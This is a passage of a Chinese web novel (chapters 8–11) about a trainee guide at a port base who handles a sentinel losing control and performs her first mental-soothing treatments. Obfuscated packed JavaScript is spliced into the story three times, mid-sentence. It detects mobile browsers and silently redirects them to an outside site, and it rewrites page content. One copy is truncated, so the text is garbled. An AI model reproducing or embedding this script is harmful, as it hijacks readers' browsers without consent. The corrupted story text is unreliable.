精神体不知道主人的心情变换，被握进掌心后，还在不老实地用触手扒拉指缝，试图越狱，但由于力气太小，星岚只觉得有点痒，用拇指轻轻摸了摸乌贼的脑袋，她继续专心赶路。 在抵达治疗中心正厅前，一声尖锐的警报率先响彻整层楼。 紧接着，是一声剧烈爆响。 这一听就是有大事发生，不是她这个小虾米能掺和的，星岚再次收回精神体失败后，干脆将小乌放在腿上，果断操控轮椅朝着声音传来的反方向快速离开。 原本在暗处偷偷观察向导的哨兵们听见警报后都不由变了脸色，确认向导没有头铁乱窜后，他们松口气，转头往爆炸传来的方向涌去。 “是利欧，他失控了，快通知监察长！” “检察长今天例行巡海去了。” “该死的，利欧可是A级哨兵，单靠我们撑不了太久的。” “西莫呢？他今天不是休假？又跑哪儿偷偷睡觉去了？” 医疗中心内，哨兵们吵作一团，各色精神体在他们四周相继出现，兽眼全部警惕地看着站在一堆废墟之上的哨兵以及将他护在中间的精神体。 “这可有点难搞了。” 猝不及防被抽到墙根的哨兵艰难站起身，嘴里咳出零星血沫，在看见利欧脸上缎带滑落后睁开的白色眼睛，他不由喃喃自语。 身旁，另一个哨兵将刚刚换上的绷带系紧，取出腰间麻醉枪，声音冷静道：“向导还在第9层，我们不能让他离开这里。” 医疗中心里几乎都是从几天前的海兽潮里退下来的伤员，谁也没想到看起来，伤势最轻的小队长会是这批哨兵里第一个失控的。 “小心他的精神体。” 作为A级哨兵的伴生精神体，利欧身边的冥河水母四条口腕没条都足有近十米长，当它们被完全展开后，近乎可以将所有人收拢其中。 此刻，攀附在墙壁附近的口腕看起来如绸缎般柔软，但没人敢小瞧它们的杀伤力。 有人尝试通过呼唤利欧的名字唤醒他的神智，却只换来令人胆颤的注视，黑金色短发下，青年双眼满是白翳，再看不出平日负责活跃气氛的话痨模样。 水母圆顶状的钟型伞盖晃了晃，利欧身影骤然消失在原地，下一秒，人已经出现在距离自己最近的哨兵身旁。 “撑过五分钟，支援马上就到。” 其他哨兵们互相给了个眼神，各自避开口腕朝着中心的利欧围攻过去，或飞或站的精神体们也跟着有了动作。 与此同时，离海岸线不远处的船只下方，一道巨大的虚影骤然消失不见。 负责配合巡海的监察会成员只觉眼前一花，原本立在自己身前的会长便消失不见了，宽阔的海面上，只剩下飘荡的小船，发懵的自己，以及，没了会长精神体威慑后从水下重新冒头的变异海兽们。 看着不远处狞笑着冲过来的巨鲨，他陷入了短暂的沉默。 8. Capt.8 激烈的战斗声在第九层回荡，墙壁大面积倒塌，破碎的玻璃渣四溅，让人不禁怀疑，这栋高塔会不会从这层开始拦腰断裂。 星岚停在电梯前，脸色比之前肉眼可见地苍白许多。 几分钟前，她正打算直接坐电梯离开，脑袋却忽然像是被重锤敲击一般，眼前的世界开始出现模糊重影，她不得不停在原地休息，等着这股突如其来的精神冲击结束。 好不容易重新恢复理智，星岚又发现，小乌不见了，等顺着精神链接找过去，她先看见的是一只红头长尾山雀。 小山雀站在玻璃幕墙凸起的一道边框上，正歪头看着她，黑色豆豆眼灵动莹润，毛茸茸圆滚滚的脸上仿佛写满了人性化的担忧，而小乌骑在它头顶，腕足八爪鱼一般紧贴着人家，看得星岚脸热。 她当然能看出来，这只长尾山雀同样是别人的精神体，而且是哨兵的精神体，这种不经过主人同意就和人家精神体贴贴的行为，和走在街边随意骚扰路人没什么两样。 星岚连忙把自家精神体喊回来。 小乌还有些不情愿，触手一根一根慢吞吞拔了半天，才终于从山雀身上下来。 等真正回到她手里，又开始黏糊糊地往主人手指上绕着讨好，星岚点了点它的脑袋，抬眼看向还停在原地的长尾山雀，朝它招了招手。 山雀歪歪头，落在她轮椅扶手上，“啾啾。” “小乌刚才多有得罪。”星岚客气道：“如果您需要当面道歉，过两日可以到一楼治疗室寻我，我是实习向导，星岚。” “啾啾啾。” 山雀在扶手上跳了跳，似乎想说些什么，因为言语不同，最后还是闭嘴了。 精神体已经找到了，星岚听着不远处仍未停歇的动静，再度回到了电梯前，小乌缠在她指尖装死，小山雀则神采奕奕地飞到了轮椅靠背上，替她警戒着四周的情况。 星岚按了按仍有些鼓胀的太阳穴，一边留意着电梯楼层。 她等待的轿厢下来前，另一部电梯先从下面上来了，门打开，欧斯卡从里面走了出来，他看见星岚，顿时长出口气。 “您没事就好，很抱歉让您受惊了，监察会的人已经成功压制住失控哨兵了，您接下来还有什么需求尽管和我说。” 见向导脸色发白，他下意识以为她是被吓到了，这次确实是自己失职了，欧斯卡语气更为恳切。 星岚闻言摇了摇头，“我没事，只是有点累了，想先歇一歇。” “那我先带您去宿舍区休息，港口基地不算大，但也说不上小，您今天了解得已经足够多了，剩下的等您休息好我们再慢慢看。” 欧斯卡说着，打开电梯后就要推星岚回楼下。 “啾啾。”停在轮椅靠背上的小山雀叫了两声，落到星岚手边，蹭了蹭一动不动地小乌贼后，恋恋不舍地飞回了玻璃幕墙上。 精神体不能离宿主太远，看来它的主人还在这一层楼。 电梯门关闭，欧斯卡站在星岚身后，忽然打破安静，“刚才，是艾贝尔的精神体。” “她是C级哨兵，原本在第二交接区就职，唯一能为她治疗的向导出意外后，她被转送来第五区，一年前，在体内污染值第一次检测出超标时，她申请了强制休眠。” “休眠后的哨兵，精神体还能自由活动？”星岚又发现自己一个知识盲区。 “正常来说精神体会随主人一起沉睡，但她的精神体似乎有些特别，总之，大家经常在第九层看见她那只长尾山雀。” 第五区的哨兵仅仅活下去便已经拼尽全力，没那么多好奇心再去研究那些“为什么”。 欧斯卡看着向导头顶的发旋，缓声道：“它看起来很喜欢您，有空的话，您或许可以经常到楼上陪它说说话。” 艾贝尔选择强制休眠时，也才十九岁，作为同龄的女孩儿，她们应该会有很多聊得来的话题，当然，前提是艾贝尔还能顺利苏醒过来。 电梯在沉默中抵达了一层。 这里依旧静谧无声，楼上的热闹似乎没影响到一楼大厅分毫，就在星岚思考自己是不是又要重新习惯这样安静的生活时，嬉骂声自正门口传来。 “滚你大爷的落汤鸡，格罗弗，你还想不想吃老子今天的脆脆鲨了？！” “好好好好，戴纳大人帅裂苍穹行了吧？” 日光从大门外打进来，照清了刚进黑塔的两人，走在左边青年看外貌与卡维斯有五分相似，同样的及耳黑发挑染着黄白，在胸前留着一条白色辫子，不过卡维斯的辫子在左边，他是在右边。 另一个青年头发是棕黑色，这会儿湿漉漉地，还往下淌着水，同样湿透的外套被脱下来，随意系在腰上，剩下件几乎被肌肉撑爆的短袖衫，肩头还有几条没有完全愈合的淡白色伤疤，直直没入衣服里。 他个头极高，古铜色的皮肤更突显了周身肌肉线条，笑起来时，呲出一口略尖的白牙，与身后拖的那头鲨鱼有种异曲同工之妙的血腥气。 当他们走进来时，星岚仿佛闻见了一股浓烈的海盐气息。 原本在服务台摸鱼的哨兵骤然发出尖锐爆鸣—— “戴纳！！！” “你居然又把死鱼往回拖！！！” 戴纳用空着的手掏了掏耳朵，“不用担心，霍克，今天的楼层清洁全部交给我，对了，晚上别忘了来我屋里吃全鱼宴，这次可是个大家伙……” 说着，他不忘回身拍了拍鱼头，再次转身时，戴纳习惯性想再邀请一下在场的其他哨兵，视线却对上了轮椅上的小向导，顿时整个人一呆，丢了一半的脑子迅速被捡回来。 前两天的大会上好像确实说过，他们第五区终于也要有向导了，还是个坐轮椅的小姑娘，被中心基地娇养出来的，可得注意不要吓着人家。 副会长更是一再强调，必须要保持住哨兵的完美形象，迎接向导在第五区安家，谁要是把向导吓跑了，这个后果…… 怪不得发现塔里有人失控后会长跑得这么快，原来是因为有向导在啊。 戴纳手上卸了劲，把龇牙咧嘴的丑鱼往背后踢了踢，笑容灿烂地看着向导，试图蒙混过关。 一旁，格罗弗双眼放光，毫不犹豫抛弃好兄弟，上前优雅欠身道：“你好，星岚向导，我是格罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421645|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弗，今年23岁，未婚未育，不抽烟不喝酒不烫头，无父无母，有一个可以没有的哥哥，目前住在黑塔74层……” 他语速飞快，听得星岚本就头昏的脑袋更胀了，欧斯卡及时上前，打断了格罗弗的长篇大论，“时间不早了，我要先送向导去临时落脚点休息了。” “嗯？好吧。”格罗弗有些遗憾地让开，“希望您好好休息，我会记得再去拜访您的。” 对比兄长卡维斯的进退有度，格罗弗未免就显得有些热情过头了，星岚不大习惯地应了一声，又和戴纳同样点头示意后，欧斯卡避开堵在门口的大鱼，推着星岚离开了黑塔。 再度出现在阳光里时，星岚竟有点恍惚。 “很抱歉，星岚向导，但他们并没有恶意。”欧斯卡无声叹息，试图挽回一点哨兵的颜面。 星岚回神摇头，“这并不是什么值得道歉的事。” “您是个宽容的人。” 欧斯卡神情有些复杂，嗓音悠悠道：“但偶尔还是该有些自己的脾气才好，至少在这里，您有任性的资格。” 星岚不理解二者有什么必然性，但她是个听劝的人，“我会认真考虑的。” 这句话不知道戳中了欧斯卡哪里的笑点，他闷笑好几声，才轻咳道：“我失态了，现在我就先带您去基地安排的宿舍看一看。” 两人的身影逐渐消失在日光里，黑塔第九层，穿着整齐军装的年轻男人站在玻璃幕墙边，低头目送他们离开，骨相优越的五官掩在军帽投下的阴影里，看不真切。 “会长，医疗中心的损失已经清点完毕……” 听着下属汇报，男人转身离开幕墙，腰间细长的银白锁链相撞，发出几声脆响。 港口基地给星岚安排的宿舍就在黑塔附近的公寓一楼，离她在黑塔里的治疗室不过几分钟路程。 “这里只是为您准备的临时落脚点，所以目前家具上可能会有些简陋，您真正的住所已经在进行最后的修整，最多再过半个月就差不多能搬过去了。” 欧斯卡打头道：“您可以看看，还有没有需要调整的地方。” 整间公寓包含一室一厅一厨一卫，对习惯了蜗居的她来说，这间公寓甚至有些空旷了，考虑到她现在下肢不便，屋内许多陈设还有明显重新量制高度的痕迹。 向导工作包吃包住不是什么稀奇事，但精心准备到这种程度，她一个什么都还没做的人，未免有些受之有愧了。 “我会尽快调整好自己的状态正式入职。”港口已经拿出了自己的诚意，星岚自然也不想辜负他们。 欧斯卡愣了下，“虽然我们确实都盼着能早日在治疗室和您见面，但您也要养好自己的身体，治疗并不用急于一时……” 这么多年他们都熬过来了，不差这十天半月。 星岚却没应声，她会这样说，自然是有自己的考量，从不久前黑塔第九层的事故处理速度可以看出来，类似的事情在这里已经发生过很多次。 如果不曾来到这里，她或许可以装聋作哑，但现在既然接受了这份工作调令，她也想在力所能及的范围内做一些事。 9. Capt.9 虽然自身精神力紊乱的症状一时半会儿难以解决，但星岚有自己的临时治疗方案。 只是为哨兵做普通疏导的话就，不需要花费太多的精神力了，更多是考验向导的微操，不过相应的，普通疏导的效果有限，只能暂时减缓哨兵身体上的痛苦，属于治标不治本。 好处是从这类治疗手段开始，容错率高，还能方便她和哨兵培养信任度，当哨兵足够信任她，后期再进行净化污染时就可以做到事半功倍。 用更少的精神力，治疗更多的哨兵，本就是学院里每一名向导的必修课。 于是，接下来两天，星岚除了积极查找修复精神力的方法，都在忙着整理和熟悉自己的治疗室，顺便再了解一下港口基地的哨兵等级构成。 对比动辄几万人的前四大交接区，达克莱斯实际生活哨兵数量不足一千人，而这些人里，能到B级的不足一百人，能到A级的更是不足二十人，相当于百分之九十的哨兵都是C级甚至是D级。 从基地战力来说，这是坏消息，但对现在的星岚来说，这无疑是一个好消息。 向导是可以跨级做精神疏导的，而她好歹也曾是半个A级，瘦死骆驼比马大，以她剩余能调动的精神力储量来说，给C级和D级向导做疏导都不成问题，换句话说，基地里至少百分之九十的哨兵她都可以进行短期治疗，但要再往上，精神力就有点捉襟见肘了。 心里有了底，星岚提前找到欧斯卡和他打过招呼后，就准备正式接取实习生涯的第一单。 治疗室内，星岚坐在办公桌后，电脑屏幕已经顺利打开，桌面上，除了标配的几个系统软件外，还多了两个陌生图标。 一个是与中心基地互通的实习档案馆，这是每个实习向导都会用到的软件，实习结束后，导师会根据这个软件上记录的完整数据对向导进行全面评估，而这个评估结果决定了他们毕业后能享受几级向导的福利待遇。 实习档案馆登陆后的页面非常简洁，就只需要记录治疗日期、治疗项目、治疗目标基本情况，及当日治疗过程和结果。 这些东西也不需要手动去填，只要连接床头的哨兵身体数据检测器，每次进行治疗时，系统就会自动导入该次治疗的过程和结果。 不过第一次使用时还是需要先手动完成连接，检测器侧面的红灯变成绿灯后，就代表连接成功，以后再开电脑，系统就会自动连接了。 星岚按照教程完成操作后，点开了第二个描绘着黑塔的图标。 依旧是简约的纯白色页面，但这次，页面内容是一张张半身像，点开后，看见的是他们更具体的个人基本信息，与此同时，右下角多了一个选项：【预约治疗】 叉掉面前的个人信息回到主页面后，星岚这才注意到左上角还有一行小字—— 「当日治疗室申请名单：」 这些人都是今天申请治疗的哨兵？星岚看着还在不断增加的哨兵头像，有些疑惑，这是实时的吗？她试探着再度点开了第一个哨兵的头像。 姓名：乔伊斯 性别：男 年龄：20 精神等级：D 申请时间：新历219年3月12日08时00分04秒 【预约治疗】 星岚看了眼右下角时间，她差不多八点整打开的电脑，也就是说，当治疗室里的电脑被打开，就意味着哨兵们可以申请治疗了，她又按顺序点开几个头像看了一眼，果不其然，申请时间越来越晚。 既然如此，就直接从第一个开始吧。 点击预约并选择立即治疗后，下方再度多出一行字： 「对方已收到反馈，加速赶往治疗室中」 没让星岚等太久，不到三分钟，她就听见了一阵略有些局促的敲门声，她一边写着纸质留档，随口喊了声： “请进。” 治疗室的门被打开，乔伊斯推门进来，略有些腼腆地低头问好：“你好，星岚向导，我是乔伊斯，D级哨兵。” 星岚放下手里的纸笔，抬头安抚道：“你不用紧张，我们今天要做的只是最简单的精神疏导。” 她说着，从办公桌后退了出来，乔伊斯见状，主动上前替她拉开隔帘，星岚回身朝他点了下头，“进来吧。” “你会介意在治疗中有肢体触碰吗？”星岚一边打开检测器的开关，顺口问了句身旁亦步亦趋跟着自己的年轻哨兵。 “不、不介意。”乔伊斯脸色微红，有些结巴的声音越来越小，“我知道的，只是、治疗需要……” 星岚点头，适当的肢体接触也可以有效提升信任度和治疗效率，但她尊重病人的意愿，乔伊斯不反感自然最好不过，她抬了抬下巴，“脱吧。” 乔伊斯怔住，随即眼睛微微睁大。 “你想穿成这样进行治疗？” 星岚看着哨兵身上的军装，虽然也不是不可以，但穿成这样躺在床上，怎么都不会舒服吧？而且她有些担心疏导结束后，哨兵穿着汗湿的衣服直接出去会不会感冒？以他们的身体素质，或许不会？ 总之那是那句话，她尊重病人的意愿。 不过“不脱也行”四个字还没说出口，乔伊斯已经利索地脱去外套，眼见他手指又往下搭在皮带上，星岚眼皮微跳，连忙道：“裤子就不用脱了。” 乔伊斯松了口气，刚憋着一股劲，他才想着干脆都脱了，这会儿泄气后，再想到自己做了什么，他脸瞬间红成了苹果。 “过来躺下吧。”星岚权当没看见，给哨兵留了点面子。 乔伊斯应声躺到治疗床上，四肢跟随引导被全部固定后，又听见向导清冷的嗓音响起： “接下来我需要在你身上贴几个极片，可能会有点凉，你如果有什么地方不舒服都可以和我说，记住，治疗开始前，你可以随时叫停，一旦开始，就必须坚持到结束了。” “你现在要放弃吗？” 向导严肃的声音放轻了些，乔伊斯摇了摇头，仰面朝上的姿势让他只能看见雪白的天花板，以及检测器上隐约的数据跳动，这让他不自觉又有些紧张。 “别担心，我会一直在旁边陪着你，不会有任何意外发生，你现在只需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421646|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要听从我的指挥，把你的身体交给我，来，呼气——吸气—— “对，就这样，你做得很好——” 微凉的手指拂过额头碎发，乔伊斯忽然觉得天花板上白得有些炫目，让他忍不住想闭眼。 星岚低声安抚着哨兵的情绪，一边关注着检测器上的数据，等到数据波动逐渐放缓，早已蓄势待发的精神力瞬间涌向床上的哨兵。 乔伊斯闷哼一声，周身肌肉瞬间紧绷，痛苦值在一刻在飞速攀升，星岚额头也有些冒汗，但她神情依旧冷静，直到看见红线快要抵达临界点，原本强势的精神力终于开始不断软化，与哨兵体内无序奔走的精神力纠缠融合。 红线在回落，乔伊斯的理智随之上升，但这一刻身体与意识仿佛被分成了两部分，他下意识想要挣扎着摆脱这种感觉，身体却被禁锢着无法行动。 “不要心急——” 又是一道轻柔的女声划过耳畔，身体随之传来些许酥麻感，是她在用指尖引导他感受自己的身体，前所未有的磅礴精神力正流遍四肢百骸，意识重回身体，恍惚间他竟有了一种，自己原来也能掌控精神力的错觉。 “它本来就是属于你的力量，试着接纳它吧——” 轻飘飘的意识随着话音骤然落回沉重的身体里，乔伊斯迷茫睁眼，后知后觉发现自己在急促喘息，汗水打湿了额前的鬓发，通红的眼睛里留出的已分不清是泪还是汗。 他想问，结束了吗？ 另一股熟悉但更霸道的气息却无声无息钻入精神海之中，将他的意识完全笼罩，乔伊斯咬紧牙关，依旧没压抑住闷哼，但这次意识里传来的却不是痛。 或者说，不止是痛。 从未有过的奇异感觉自尾椎一路攀升，比此前还要强烈的失控感令他恐慌，不可以—— 乔伊斯极力张大眼睛，又下意识想要蜷缩身体。 理智崩溃的前一秒，他听见了向导略带惊讶的声音，“咦？乔伊斯，你的精神体怎么跑出来了？” 仿佛在绝望前被救赎，乔伊斯瘫在治疗床上，身体仍在下意识发颤，身体的禁锢不知道什么时候已经被打开，但他不想动。 太丢人了！ 乔伊斯抬起一直胳膊挡在脸上，却遮不住通红的耳朵，同时，前所未有的轻松在身体里蔓延，甚至那隐约的对精神力的掌控感也留下了，虽然只是随时可能断开的一丝丝，但已足够让他惊喜。 难怪大家都希望得到向导的治疗。 这还只是精神疏导，如果是更深入的污染净化，最后的感觉忽然再度在脑海中蔓延，乔伊斯陡然打了个颤，那还是不要了，他还想出门见人。 红着耳朵的哨兵趁床边没人，一个鲤鱼打挺起身，飞快穿上外套后出了治疗区。 “谢谢您今天的治疗，星岚向导。” 将黏在向导腿边的精神体抱回自己怀里，乔伊斯嗓音微哑，也顾不上向导挽留的手势，快步离开了治疗室。 办公桌旁，星岚看着哨兵已经消失不见的背影，无奈收回手。 奇了怪了，她有这么可怕吗？ 10. Capt.10 第一次进行精神疏导的过程比星岚想象中要顺利得多。 整场治疗算下来一共才花费半个小时，这还是因为双方今天是第一次接触，所以前期她在进行精神安抚时浪费了不少时间。 如果只计算精神链接和进行疏导的时间，加起来不到二十分钟。 而且星岚发现，乔伊斯对她的精神力接受度出乎意料地高。 回想着不久前治疗床上配合着完全交出身体控制权的哨兵，星岚猜测，自己和乔伊斯的匹配度至少八十往上，否则就算哨兵有心配合，精神疏导的效率也不会这么高。 不过问题也是有的。 电脑上，第一份哨兵治疗档案的记录保存进度已经达到100％，星岚操控着鼠标进入后台，选择调出详细数据图。 由检测器导入的哨兵身体数据显示，乔伊斯在治疗过程中的所有数值变化都处于疏导时的正常变化范畴，得出这样的结论，星岚心底的疑惑却更深了。 乔伊斯最后离开时的状态，怎么看都和老师在课上讲过的不太一样。 正常来说，哨兵体内的精神力得到疏导后，他们会获得短暂的五感调节能力，体内不间断的疼痛感也会有所下降，这种情况下，哨兵的理智将会小幅度上升，让他们看起来比平时更冷静。 可刚才，乔伊斯好像反而比刚来时更敏感了。 开门时带起的风都会让他打颤。 而且，他的精神体居然出现在了治疗室里。 非战斗状态下，觉醒者们往往是不会把精神体随意暴露在人前的，尤其是和自己精神体通感的哨兵，放任精神体自由活动只会加剧他们的感知负担。 所以，除非是像她一样因为受伤精神力紊乱，所以暂时无法完全掌控自家精神体，或者是在短时间内受到太大刺激，心神完全失守，否则，精神体只会老老实实待在觉醒者的精神海里。 在治疗时，星岚已经完整探查过乔伊斯的身体。 青年身形高挑，并非很壮硕的类型，但蜜色肌肉线条清晰，刚硬紧致，身体结实有力，再加上哨兵往往都有着远超常人的自愈能力，自然看不见有什么伤痕。 除了体内还未被净化的污染结节外，也就只有五感失调这一个哨兵的通病了。 由此星岚可以确定，乔伊斯的精神体绝不是因为前者出现在人前，但要说是受刺激，做精神疏导确实不算是轻松的体验，但也没到能让一个哨兵心神完全失守的程度吧？ 她都还没突破乔伊斯的精神屏障，真正进入他的精神海呢。 如果到了那一步，哨兵就会真正连理智也被向导完全掌控，至于现在，两人不过是进行了最基础的精神链接罢了。 可当治疗完成，星岚确认乔伊斯一切正常，所以收好检测器给他松开禁锢，转过轮椅打算去准备病历本时，刚回身就看见一只大型犬趴在了她离开治疗区的必经之路上。 那是只黑背黄腹的德牧，看体型已经成年了，脑袋枕着自己前肢，虽然老老实实伏趴在地面上，尾巴却在欢快地左右拍打着。 轮椅滑过地面的声音让它耳朵动了动，看着对上自己视线后，瞬间翻身露出柔软腹部状似要朝她撒娇的大型犬，星岚只用半秒钟就猜到了它的来历—— 是身后哨兵的精神体。 熟悉的缠绕感自指尖传来，星岚回过神，发现自家精神体不知道时候已经爬到了手边，她随手揉了揉精神体的脑袋，低声道：“小乌，你最近怎么神出鬼没的？” 自从前两天它自己跑出精神海后，星岚就一直没能把它再收回去。 好在向导和精神体的感官链接是可以由她自主控制的，并不像哨兵一样被动，所以小乌不愿意回精神海，星岚就干脆由着它在外面活动了。 她的精神海现在和刚经历过天灾没什么两样，小乌估计也是在里面待得不舒服，才一心往外跑。 叹息一声，星岚没再过多纠结，确认数据都没问题后，她把有些昏昏欲睡的精神体放到肩头，自己拿过一旁写了一半的纸质病历本，继续誊抄着屏幕上的关键数据。 最后，这本写有乔伊斯名字的病历本被放入了一旁的档案柜里。 星岚一开始是打算把病历本交由哨兵自己保管，一来让他们对自己身体情况有个详细了解，二来也方便记录和了解他们治疗后的身体数值变化。 奈何乔伊斯离开的速度实在是太快了。 她话还没来得及出口，人已经跑没影了。 等下次治疗再给他吧，星岚想着，顺便点开另一个图标，正准备预约新的哨兵来治疗室做精神疏导，一阵急促的脚步声从门外传来。 “星岚向导……” 大门被打开，是去而复返的乔伊斯，他眼眶仍是红的，脸色却有些发白，神情透着仓惶的意味，“求您救救柯林……” “不要着急，乔伊斯，你先和我说说，发生什么事了？是有哨兵需要治疗么？” 向导冷静的声音安抚了乔伊斯躁动的内心，他深吸口气，努力压下嗓音里的颤抖解释道：“柯林和我一样，是陆战部第四小队的D级哨兵，今天和小队其他成员领了西部海岸的巡检任务，二十分钟前，他们遭遇了变异海兽的袭击……” 与海兽互殴算是港口哨兵们的日常，有B级哨兵带队，这场战斗并不算艰难，但在清点海兽时，位于队尾的柯林却忽然出现了异常反应。 “他居然想越过护栏往海里去。”一名队员后怕地看着担架上被敲晕的柯林，要不是他眼疾手快，他们离海边护栏又有一段距离，差点就真叫这小子翻过去了。 蔚蓝海面下异兽成群，没有B级实力，几乎都不敢离海太近，出海更是A级哨兵才敢做的事，而D级哨兵一般负责后勤工作，偶尔出外勤主要是帮忙搬运物资，根本不会主动靠近海面，所以柯林的异常几乎被第一时间察觉。 “瞧着跟突然失了魂似的，不会是水下又变异出什么新的海兽了吧？” “也说不准是失控的前兆……” 队伍小声讨论着，担架上，柯林眼皮下的瞳孔似在剧烈颤动，片刻后，重新归于平静。 若有似无的声音仿佛蚊子嗡鸣一般，一直在他耳边交织回响，柯林努力睁眼，想听清这是在说什么，意识却往下越坠越深，直到熟悉的音色全部消失，只剩下心跳还一声一声在耳边鼓胀。 “怦——怦——” 在自己的心跳外，柯林恍惚听见了另一道陌生的心跳。 紧接着，是第二道，第三道…… “怦——”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421647|169085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “怦怦——” 心跳声越来越近，越来越响，透着语言无法形容出的韵律。 无言的压力在这一刻笼罩了他，在被心跳声完全吞没前，柯林奋力睁开了眼睛，眼前是一片粘稠的黑暗，湿冷腥咸的海水包裹住着他全身，不断挤压他体内存储的氧气。 柯林睁大眼睛，挣扎着想要远离这里，却只吐出一串无力的泡泡，身体在这一刻失去了控制，只剩清晰的心跳声仍在靠近自己…… 不，分明是他在主动靠近祂。 恍惚间，柯林感觉自己变成了一颗即将爆炸的氢气球，随着海底暗潮不断起伏，巨大的压力自四面八方袭来，而他的结局，要么被彻底碾碎，要么炸成一朵血花。 亦或者，和祂融为一体，再也不必受限于人类终将腐朽的躯壳…… 被诱惑般，他伸手摸向心跳声传来的方向。 虚空之中，数条暗红色触手自身后无声卷上他的小腿，而后如藤蔓般攀附向上，裸露在外的皮肤与它接触，瞬间泛起红痕。 触手无知无觉，仍在继续向上，卷过他的腰腹、胸腔，连同柯林伸出去的手一同缠绕收紧，随即向后一拉，强烈的束缚感叫他忍不住颤抖，四周令人恐惧的海水却在不断褪去，同时，另一种难言的渴望从他灵魂深处诞生。 柯林没有再听见任何声音。 挂帘被拉开，等在沙发附近的第四小队成员纷纷起身，乔伊斯第一个上前帮忙推轮椅，同时小声问：“星岚向导，柯林情况怎么样了？” “你们把人送来得很及时，他现在已经没什么大碍了，不过体内的污染毕竟差点超过临界值，接下来还是需要再修养几天。” 听向导这样说，哨兵们都松了口气，星岚同样庆幸，还好柯林只有D级，否则即使将人送过来，她也没有办法，只能看着他失控畸变。 现在虽然精神力损耗有些大，但好歹把人从半失控状态拉回来了。 不仅如此，星岚靠着扶手按了按太阳穴，给柯林净化污染的时候，她原本处于紊乱状态的精神力居然有一瞬间稳定下来了，虽然持续时间短到近乎是错觉，但以她对自身精神力的掌控度，绝不会感觉错。 星岚自顾陷入了沉思，一旁哨兵见她扶额不语却以为她是累着了，眼下柯林也摆脱了失控的风险，几人对视一眼，虽然还有很多话想说，但都强忍着提出了告辞，只留下乔伊斯继续照看柯林。 星岚目送几位哨兵离开，等再回头看清治疗区内的场景时，她闭了闭眼，吸口气道：“乔伊斯，我腿脚有些不便，就麻烦你替我送送那几位哨兵先生了。” “啊？没问题。”乔伊斯不明所以，但看着向导那双水洗般明亮的黑眸，他红着脸果断应下，开门去追外面已经走到数几米外的哨兵们。 屋内，星岚在关门的瞬间便调整轮椅，转身去了治疗区。 柯林的精神体是一只豹猫，从他开始接受治疗时便跑了出来，一直安安静静守在床脚，这会儿也躺到枕头旁和主人一起沉睡着，棕色的身躯蜷成一团，腹部随着呼吸微鼓。 背后，通体呈暗红色的小乌贼紧紧扒拉着豹猫的身体，正嘿咻嘿咻试图爬到它头顶，床边，一道女声幽幽传来： “小乌，你在做什么……” 11. Capt.11 乔伊斯重新回到治疗室时，星岚正和小乌在办公桌后大眼瞪小眼。 这种看见精神体就往对方脑袋上爬的习惯也不知道小乌是怎么养出来的，在学院里的时候偶尔和同学的精神体贴贴也就罢了，现在居然连哨兵的精神体也不放过。 再不管管，说不准哪天它就爬到高级哨兵的精神体头上去了。 她还不想铁窗泪，对监察会的牢饭味道更不感兴趣，但小乌圆溜溜的眼睛里满是无辜，显然她刚才语重心长说的那些话，它一句都没听进去。 “装傻也没用，从今天开始，收好触手不许再乱摸，更不许爬到别的精神体头上。” 星岚对着它弹了个脑瓜崩，态度坚决。 小乌按着隐隐泛疼的地方，蔫了。 乔伊斯推门进来，就见向导面前多了个东西，定睛确认后，他眸光微动。 是星岚向导的精神体吗？ 可爱。 小家伙的性格看起来没有主人那般冷清，身下腕足仿佛有多动症一般，以奇特的节奏挥舞着，用来捕猎的触腕则不断对着主人比心。 都说精神体会是主人内心的映射，乔伊斯将视线从活泼的小乌贼身上移开，落在对面的向导身上。 少女神色依旧沉静如初，垂下的眼睑遮住了所有情绪，当她抬头看来时，黑瞳映着顶灯，宛如熠熠生辉的黑曜石，世界仿佛都有一瞬间的变亮了。 乔伊斯微微失神，下意识抬脚走近了些。 灵魂深处，难得安静的力量隐约又开始躁动，好想，从她的眼睛里看见自己…… 星岚没有注意到身前哨兵越发深沉的目光，只打了声招呼，就被再次凑到自己身旁的大狗吸引了全部注意力，半人高的德牧绕过办公桌蹲坐在她轮椅边，仿佛一只训练有素的护卫犬。 星岚忽然有点理解自家小乌了，看着大狗那一身油光水滑的皮毛，谁能忍住不去挼一把！ “它叫阿洛哈，很乖的。”乔伊斯有些紧张地低下头，不敢去看向导的目光，他努力抑制住嗓音中的期待，轻声道：“您可以摸摸它。” 向导眼底闪过明显的意动，在乔伊斯余光的注视下，那只不久前曾令他痛苦，又赐予他平静的左手缓缓抬起，落在了德牧头顶，只是最简单的轻抚，哨兵身体却像是过电般轻颤了下。 女孩儿的手并不算柔嫩，但骨节纤长有力，指腹带着常年锻炼形成的薄茧，当她提腕时，隐隐的压迫感随之落下。 